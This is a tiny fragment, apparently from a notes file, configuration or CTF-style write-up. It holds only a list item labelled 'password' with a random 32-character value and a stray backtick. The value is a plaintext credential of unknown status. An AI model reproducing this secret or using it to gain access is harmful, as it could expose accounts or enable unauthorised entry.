- password: qp30ex3VLz5MDG1n91YowTv4Q8l7CDZL

`